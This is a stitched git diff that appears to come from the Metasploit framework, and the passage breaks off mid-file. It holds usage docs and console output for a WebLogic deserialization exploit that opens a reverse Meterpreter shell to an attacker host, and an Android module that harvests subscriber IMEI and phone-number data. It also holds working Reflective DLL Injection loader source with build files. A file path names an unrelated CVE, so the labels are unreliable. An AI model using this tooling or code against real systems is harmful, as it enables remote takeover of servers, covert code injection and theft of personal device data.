./data/exploits/cve-2018-8897
@@ -0,0 +1,47 @@
## Description
Oracle Weblogic Server v10.3.6.0, v12.1.3.0, v12.2.1.2, and v12.2.1.3 are vulnerable to a deserialization vulnerable, which can be used to execute code on vulnerable systems. An unauthenticated user with network access via T3 could exploit the vulnerability. This module has been tested against Oracle Weblogic Server v10.3.6.0 running on Windows10 x64 using JDK v7u17.
## Vulnerable Application
[Oracle Weblogic Server v10.3.6.0](http://download.oracle.com/otn/nt/middleware/11g/wls/1036/wls1036_generic.jar), v12.1.3.0, v12.2.1.2, and v12.2.1.3.
## Verification Steps
1. `./msfconsole -q`
2. `use exploit/multi/misc/weblogic_deserialize`
3. `set rhosts <rhost>`
4. `set srvhost <srvhos>t`
5. `set srvport <srvport>`
6. `run`
## Scenarios
### Tested on Windows 10 x64 running Oracle Weblogic Server 10.3.6.0 on JDK v7u17
```
msf5 exploit(multi/misc/weblogic_deserialize) > set rhosts 172.22.222.175
rhosts => 172.22.222.175
msf5 exploit(multi/misc/weblogic_deserialize) > set srvhost 172.22.222.121
srvhost => 172.22.222.121
msf5 exploit(multi/misc/weblogic_deserialize) > set srvport 8888
srvport => 8888
msf5 exploit(multi/misc/weblogic_deserialize) > run
[*] Exploit running as background job 0.
msf5 exploit(multi/misc/weblogic_deserialize) >
[*] Started reverse TCP handler on 172.22.222.121:4444
[*] Sending stage (179779 bytes) to 172.22.222.175
[*] Meterpreter session 1 opened (172.22.222.121:4444 -> 172.22.222.175:49908) at 2018-08-08 17:53:07 -0500
sessions -i 1
[*] Starting interaction with 1...
meterpreter > sysinfo
Computer : _
OS : Windows 10 (Build 17134).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x86/windows
meterpreter >
```
@@ -0,0 +1,99 @@
## Vulnerable Application
This post-exploitation module will extract subscriber information
from the target device using call service service call iphonesubinfo <transaction_code>.
## Verification Steps
1. Start `msfconsole`
2. Get meterpreter session
3. Do: `use android/gather/sub_info`
4. Do: `set SESSION <session id>`
5. Do: `run`
6. You should be able to see the extracted subsriber information.
## Options
- **SESSION** - The session to run the module on.
## Extracted data
- subscribe information
## Example Scenario
```
msf5 exploit(multi/handler) > use post/android/gather/sub_info
msf5 post(android/gather/sub_info) > set session 1
session => 1
msf5 post(android/gather/sub_info) > run
[!] SESSION may not be compatible with this module.
[*] using code : 1
[*] using code : 2
[*] using code : 3
[*] using code : 4
[*] using code : 5
[*] using code : 6
[*] using code : 7
[*] using code : 8
[*] using code : 9
[*] using code : 10
[*] using code : 11
[*] using code : 12
[*] using code : 13
[*] using code : 14
[*] using code : 15
[*] using code : 16
[*] using code : 17
[*] using code : 18
[*] using code : 19
[*] using code : 20
[*] using code : 21
[*] using code : 22
[*] using code : 23
[*] using code : 24
[*] using code : 25
[*] using code : 26
[*] using code : 27
[*] using code : 28
[*] using code : 29
Subscriber info
===============
transaction code value
---------------- -----
CompleteVoiceMailNumber
CompleteVoiceMailNumberForSubscriber
DeviceId 86928xxxxxxxxxx
DeviceIdForSubscriber
DeviceSvn 8692890262xxxxx
GroupIdLevel1 4042772534xxxxx
GroupIdLevel1ForSubscriber 4042772534xxxxx
IccSerialNumber ff
IccSerialNumberForSubscriber ff
IccSimChallengeResponse
ImeiForSubscriber 8692890xxxxxxxx
IsimChallengeResponse
IsimDomain Voicemail
IsimImpi Voicemail
IsimImpu
IsimIst
IsimPcscf
Line1AlphaTag
Line1AlphaTagForSubscriber
Line1Number 899127217xxxxxxxxxx
Line1NumberForSubscriber 899127217xxxxxxxxxx
Msisdn
MsisdnForSubscriber
SubscriberId 01
SubscriberIdForSubscriber 01
VoiceMailAlphaTag
VoiceMailAlphaTagForSubscriber
VoiceMailNumber
VoiceMailNumberForSubscriber
[*] Post module execution completed
msf5 post(android/gather/sub_info) >
```
+25
View File
@@ -0,0 +1,25 @@
Copyright (c) 2011, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
All rights reserved.
Redistribution and use in source and binary forms, with or without modification, are permitted
provided that the following conditions are met:
* Redistributions of source code must retain the above copyright notice, this list of
conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above copyright notice, this list of
conditions and the following disclaimer in the documentation and/or other materials provided
with the distribution.
* Neither the name of Harmony Security nor the names of its contributors may be used to
endorse or promote products derived from this software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
POSSIBILITY OF SUCH DAMAGE.
+40
View File
@@ -0,0 +1,40 @@
About
=====
Reflective DLL injection is a library injection technique in which the concept of reflective programming is employed to perform the loading of a library from memory into a host process. As such the library is responsible for loading itself by implementing a minimal Portable Executable (PE) file loader. It can then govern, with minimal interaction with the host system and process, how it will load and interact with the host.
Injection works from Windows NT4 up to and including Windows 8, running on x86, x64 and ARM where applicable.
Overview
========
The process of remotely injecting a library into a process is two fold. Firstly, the library you wish to inject must be written into the address space of the target process (Herein referred to as the host process). Secondly the library must be loaded into that host process in such a way that the library's run time expectations are met, such as resolving its imports or relocating it to a suitable location in memory.
Assuming we have code execution in the host process and the library we wish to inject has been written into an arbitrary location of memory in the host process, Reflective DLL Injection works as follows.
* Execution is passed, either via CreateRemoteThread() or a tiny bootstrap shellcode, to the library's ReflectiveLoader function which is an exported function found in the library's export table.
* As the library's image will currently exists in an arbitrary location in memory the ReflectiveLoader will first calculate its own image's current location in memory so as to be able to parse its own headers for use later on.
* The ReflectiveLoader will then parse the host processes kernel32.dll export table in order to calculate the addresses of three functions required by the loader, namely LoadLibraryA, GetProcAddress and VirtualAlloc.
* The ReflectiveLoader will now allocate a continuous region of memory into which it will proceed to load its own image. The location is not important as the loader will correctly relocate the image later on.
* The library's headers and sections are loaded into their new locations in memory.
* The ReflectiveLoader will then process the newly loaded copy of its image's import table, loading any additional library's and resolving their respective imported function addresses.
* The ReflectiveLoader will then process the newly loaded copy of its image's relocation table.
* The ReflectiveLoader will then call its newly loaded image's entry point function, DllMain with DLL_PROCESS_ATTACH. The library has now been successfully loaded into memory.
* Finally the ReflectiveLoader will return execution to the initial bootstrap shellcode which called it, or if it was called via CreateRemoteThread, the thread will terminate.
Build
=====
Open the 'rdi.sln' file in Visual Studio C++ and build the solution in Release mode to make inject.exe and reflective_dll.dll
Usage
=====
To test use the inject.exe to inject reflective_dll.dll into a host process via a process id, e.g.:
> inject.exe 1234
License
=======
Licensed under a 3 clause BSD license, please see LICENSE.txt for details.
@@ -0,0 +1,53 @@
//===============================================================================================//
// Copyright (c) 2013, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
// All rights reserved.
//
// Redistribution and use in source and binary forms, with or without modification, are permitted
// provided that the following conditions are met:
//
// * Redistributions of source code must retain the above copyright notice, this list of
// conditions and the following disclaimer.
//
// * Redistributions in binary form must reproduce the above copyright notice, this list of
// conditions and the following disclaimer in the documentation and/or other materials provided
// with the distribution.
//
// * Neither the name of Harmony Security nor the names of its contributors may be used to
// endorse or promote products derived from this software without specific prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
// POSSIBILITY OF SUCH DAMAGE.
//===============================================================================================//
#ifndef _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H
#define _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H
//===============================================================================================//
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
// we declare some common stuff in here...
#define DLL_METASPLOIT_ATTACH 4
#define DLL_METASPLOIT_DETACH 5
#define DLL_QUERY_HMODULE 6
#define DEREF( name )*(UINT_PTR *)(name)
#define DEREF_64( name )*(DWORD64 *)(name)
#define DEREF_32( name )*(DWORD *)(name)
#define DEREF_16( name )*(WORD *)(name)
#define DEREF_8( name )*(BYTE *)(name)
typedef ULONG_PTR (WINAPI * REFLECTIVELOADER)( VOID );
typedef BOOL (WINAPI * DLLMAIN)( HINSTANCE, DWORD, LPVOID );
#define DLLEXPORT __declspec( dllexport )
//===============================================================================================//
#endif
//===============================================================================================//
+256
View File
@@ -0,0 +1,256 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" ToolsVersion="12.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|ARM">
<Configuration>Debug</Configuration>
<Platform>ARM</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Debug|Win32">
<Configuration>Debug</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Debug|x64">
<Configuration>Debug</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|ARM">
<Configuration>Release</Configuration>
<Platform>ARM</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|Win32">
<Configuration>Release</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|x64">
<Configuration>Release</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
</ItemGroup>
<PropertyGroup Label="Globals">
<ProjectGuid>{EEF3FD41-05D8-4A07-8434-EF5D34D76335}</ProjectGuid>
<RootNamespace>inject</RootNamespace>
<Keyword>Win32Proj</Keyword>
<ProjectName>inject</ProjectName>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<PlatformToolset>v120</PlatformToolset>
<CharacterSet>MultiByte</CharacterSet>
<WholeProgramOptimization>true</WholeProgramOptimization>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|ARM'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<PlatformToolset>v120</PlatformToolset>
<CharacterSet>MultiByte</CharacterSet>
<WholeProgramOptimization>true</WholeProgramOptimization>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<PlatformToolset>v120</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|ARM'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<PlatformToolset>v120</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<PlatformToolset>v120</PlatformToolset>
<CharacterSet>MultiByte</CharacterSet>
<WholeProgramOptimization>true</WholeProgramOptimization>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<PlatformToolset>v120</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
</ImportGroup>
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="PropertySheets">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|ARM'" Label="PropertySheets">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="PropertySheets">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|ARM'" Label="PropertySheets">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="PropertySheets">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="PropertySheets">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<PropertyGroup>
<_ProjectFileVersion>11.0.50727.1</_ProjectFileVersion>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<OutDir>$(SolutionDir)$(Configuration)\</OutDir>
<IntDir>$(Configuration)\</IntDir>
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|ARM'">
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<OutDir>$(SolutionDir)$(Platform)\$(Configuration)\</OutDir>
<IntDir>$(Platform)\$(Configuration)\</IntDir>
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<OutDir>$(SolutionDir)$(Configuration)\</OutDir>
<IntDir>$(Configuration)\</IntDir>
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|ARM'">
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<OutDir>$(SolutionDir)$(Platform)\$(Configuration)\</OutDir>
<IntDir>$(Platform)\$(Configuration)\</IntDir>
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
<Optimization>Disabled</Optimization>
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<MinimalRebuild>true</MinimalRebuild>
<BasicRuntimeChecks>EnableFastChecks</BasicRuntimeChecks>
<RuntimeLibrary>MultiThreadedDebugDLL</RuntimeLibrary>
<PrecompiledHeader />
<WarningLevel>Level3</WarningLevel>
<DebugInformationFormat>EditAndContinue</DebugInformationFormat>
<AdditionalIncludeDirectories>../common</AdditionalIncludeDirectories>
</ClCompile>
<Link>
<GenerateDebugInformation>true</GenerateDebugInformation>
<SubSystem>Console</SubSystem>
<TargetMachine>MachineX86</TargetMachine>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|ARM'">
<ClCompile>
<Optimization>Disabled</Optimization>
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<MinimalRebuild>true</MinimalRebuild>
<BasicRuntimeChecks>EnableFastChecks</BasicRuntimeChecks>
<RuntimeLibrary>MultiThreadedDebugDLL</RuntimeLibrary>
<PrecompiledHeader>
</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<DebugInformationFormat>EditAndContinue</DebugInformationFormat>
<AdditionalIncludeDirectories>../common</AdditionalIncludeDirectories>
</ClCompile>
<Link>
<GenerateDebugInformation>true</GenerateDebugInformation>
<SubSystem>Console</SubSystem>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<Midl>
<TargetEnvironment>X64</TargetEnvironment>
</Midl>
<ClCompile>
<Optimization>Disabled</Optimization>
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<MinimalRebuild>true</MinimalRebuild>
<BasicRuntimeChecks>EnableFastChecks</BasicRuntimeChecks>
<RuntimeLibrary>MultiThreadedDebugDLL</RuntimeLibrary>
<PrecompiledHeader />
<WarningLevel>Level3</WarningLevel>
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
<AdditionalIncludeDirectories>../common</AdditionalIncludeDirectories>
</ClCompile>
<Link>
<GenerateDebugInformation>true</GenerateDebugInformation>
<SubSystem>Console</SubSystem>
<TargetMachine>MachineX64</TargetMachine>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<ClCompile>
<Optimization>MaxSpeed</Optimization>
<IntrinsicFunctions>true</IntrinsicFunctions>
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<FunctionLevelLinking>true</FunctionLevelLinking>
<PrecompiledHeader />
<WarningLevel>Level3</WarningLevel>
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
<AdditionalIncludeDirectories>../common</AdditionalIncludeDirectories>
</ClCompile>
<Link>
<GenerateDebugInformation>true</GenerateDebugInformation>
<SubSystem>Console</SubSystem>
<OptimizeReferences>true</OptimizeReferences>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<TargetMachine>MachineX86</TargetMachine>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|ARM'">
<ClCompile>
<Optimization>MaxSpeed</Optimization>
<IntrinsicFunctions>true</IntrinsicFunctions>
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;WIN_ARM;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<FunctionLevelLinking>true</FunctionLevelLinking>
<PrecompiledHeader>
</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
<AdditionalIncludeDirectories>../common</AdditionalIncludeDirectories>
</ClCompile>
<Link>
<GenerateDebugInformation>true</GenerateDebugInformation>
<SubSystem>Console</SubSystem>
<OptimizeReferences>true</OptimizeReferences>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OutputFile>$(OutDir)inject.arm.exe</OutputFile>
<AdditionalDependencies>%(AdditionalDependencies)</AdditionalDependencies>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<Midl>
<TargetEnvironment>X64</TargetEnvironment>
</Midl>
<ClCompile>
<Optimization>MaxSpeed</Optimization>
<IntrinsicFunctions>true</IntrinsicFunctions>
<PreprocessorDefinitions>WIN64;NDEBUG;_CONSOLE;_WIN64;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<FunctionLevelLinking>true</FunctionLevelLinking>
<PrecompiledHeader />
<WarningLevel>Level3</WarningLevel>
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
<AdditionalIncludeDirectories>../common</AdditionalIncludeDirectories>
</ClCompile>
<Link>
<OutputFile>$(OutDir)inject.x64.exe</OutputFile>
<GenerateDebugInformation>true</GenerateDebugInformation>
<SubSystem>Console</SubSystem>
<OptimizeReferences>true</OptimizeReferences>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<TargetMachine>MachineX64</TargetMachine>
</Link>
</ItemDefinitionGroup>
<ItemGroup>
<ClCompile Include="src\GetProcAddressR.c" />
<ClCompile Include="src\Inject.c" />
<ClCompile Include="src\LoadLibraryR.c" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="..\common\ReflectiveDLLInjection.h" />
<ClInclude Include="src\GetProcAddressR.h" />
<ClInclude Include="src\LoadLibraryR.h" />
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
</ImportGroup>
</Project>
@@ -0,0 +1,35 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup>
<Filter Include="Source Files">
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
<Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
</Filter>
<Filter Include="Header Files">
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
<Extensions>h;hpp;hxx;hm;inl;inc;xsd</Extensions>
</Filter>
</ItemGroup>
<ItemGroup>
<ClCompile Include="src\GetProcAddressR.c">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="src\Inject.c">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="src\LoadLibraryR.c">
<Filter>Source Files</Filter>
</ClCompile>
</ItemGroup>
<ItemGroup>
<ClInclude Include="src\GetProcAddressR.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="src\LoadLibraryR.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="..\common\ReflectiveDLLInjection.h">
<Filter>Header Files</Filter>
</ClInclude>
</ItemGroup>
</Project>
@@ -0,0 +1,116 @@
//===============================================================================================//
// Copyright (c) 2013, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
// All rights reserved.
//
// Redistribution and use in source and binary forms, with or without modification, are permitted
// provided that the following conditions are met:
//
// * Redistributions of source code must retain the above copyright notice, this list of
// conditions and the following disclaimer.
//
// * Redistributions in binary form must reproduce the above copyright notice, this list of
// conditions and the following disclaimer in the documentation and/or other materials provided
// with the distribution.
//
// * Neither the name of Harmony Security nor the names of its contributors may be used to
// endorse or promote products derived from this software without specific prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
// POSSIBILITY OF SUCH DAMAGE.
//===============================================================================================//
#include "GetProcAddressR.h"
//===============================================================================================//
// We implement a minimal GetProcAddress to avoid using the native kernel32!GetProcAddress which
// wont be able to resolve exported addresses in reflectivly loaded librarys.
FARPROC WINAPI GetProcAddressR( HANDLE hModule, LPCSTR lpProcName )
{
UINT_PTR uiLibraryAddress = 0;
FARPROC fpResult = NULL;
if( hModule == NULL )
return NULL;
// a module handle is really its base address
uiLibraryAddress = (UINT_PTR)hModule;
__try
{
UINT_PTR uiAddressArray = 0;
UINT_PTR uiNameArray = 0;
UINT_PTR uiNameOrdinals = 0;
PIMAGE_NT_HEADERS pNtHeaders = NULL;
PIMAGE_DATA_DIRECTORY pDataDirectory = NULL;
PIMAGE_EXPORT_DIRECTORY pExportDirectory = NULL;
// get the VA of the modules NT Header
pNtHeaders = (PIMAGE_NT_HEADERS)(uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew);
pDataDirectory = (PIMAGE_DATA_DIRECTORY)&pNtHeaders->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
// get the VA of the export directory
pExportDirectory = (PIMAGE_EXPORT_DIRECTORY)( uiLibraryAddress + pDataDirectory->VirtualAddress );
// get the VA for the array of addresses
uiAddressArray = ( uiLibraryAddress + pExportDirectory->AddressOfFunctions );
// get the VA for the array of name pointers
uiNameArray = ( uiLibraryAddress + pExportDirectory->AddressOfNames );
// get the VA for the array of name ordinals
uiNameOrdinals = ( uiLibraryAddress + pExportDirectory->AddressOfNameOrdinals );
// test if we are importing by name or by ordinal...
if( ((DWORD)lpProcName & 0xFFFF0000 ) == 0x00000000 )
{
// import by ordinal...
// use the import ordinal (- export ordinal base) as an index into the array of addresses
uiAddressArray += ( ( IMAGE_ORDINAL( (DWORD)lpProcName ) - pExportDirectory->Base ) * sizeof(DWORD) );
// resolve the address for this imported function
fpResult = (FARPROC)( uiLibraryAddress + DEREF_32(uiAddressArray) );
}
else
{
// import by name...
DWORD dwCounter = pExportDirectory->NumberOfNames;
while( dwCounter-- )
{
char * cpExportedFunctionName = (char *)(uiLibraryAddress + DEREF_32( uiNameArray ));
// test if we have a match...
if( strcmp( cpExportedFunctionName, lpProcName ) == 0 )
{
// use the functions name ordinal as an index into the array of name pointers
uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) );
// calculate the virtual address for the function
fpResult = (FARPROC)(uiLibraryAddress + DEREF_32( uiAddressArray ));
// finish...
break;
}
// get the next exported function name
uiNameArray += sizeof(DWORD);
// get the next exported function name ordinal
uiNameOrdinals += sizeof(WORD);
}
}
}
__except( EXCEPTION_EXECUTE_HANDLER )
{
fpResult = NULL;
}
return fpResult;
}
//===============================================================================================//
@@ -0,0 +1,36 @@
//===============================================================================================//
// Copyright (c) 2013, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
// All rights reserved.
//
// Redistribution and use in source and binary forms, with or without modification, are permitted
// provided that the following conditions are met:
//
// * Redistributions of source code must retain the above copyright notice, this list of
// conditions and the following disclaimer.
//
// * Redistributions in binary form must reproduce the above copyright notice, this list of
// conditions and the following disclaimer in the documentation and/or other materials provided
// with the distribution.
//
// * Neither the name of Harmony Security nor the names of its contributors may be used to
// endorse or promote products derived from this software without specific prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
// POSSIBILITY OF SUCH DAMAGE.
//===============================================================================================//
#ifndef _REFLECTIVEDLLINJECTION_GETPROCADDRESSR_H
#define _REFLECTIVEDLLINJECTION_GETPROCADDRESSR_H
//===============================================================================================//
#include "ReflectiveDLLInjection.h"
FARPROC WINAPI GetProcAddressR( HANDLE hModule, LPCSTR lpProcName );
//===============================================================================================//
#endif
//===============================================================================================//
@@ -0,0 +1,120 @@
//===============================================================================================//
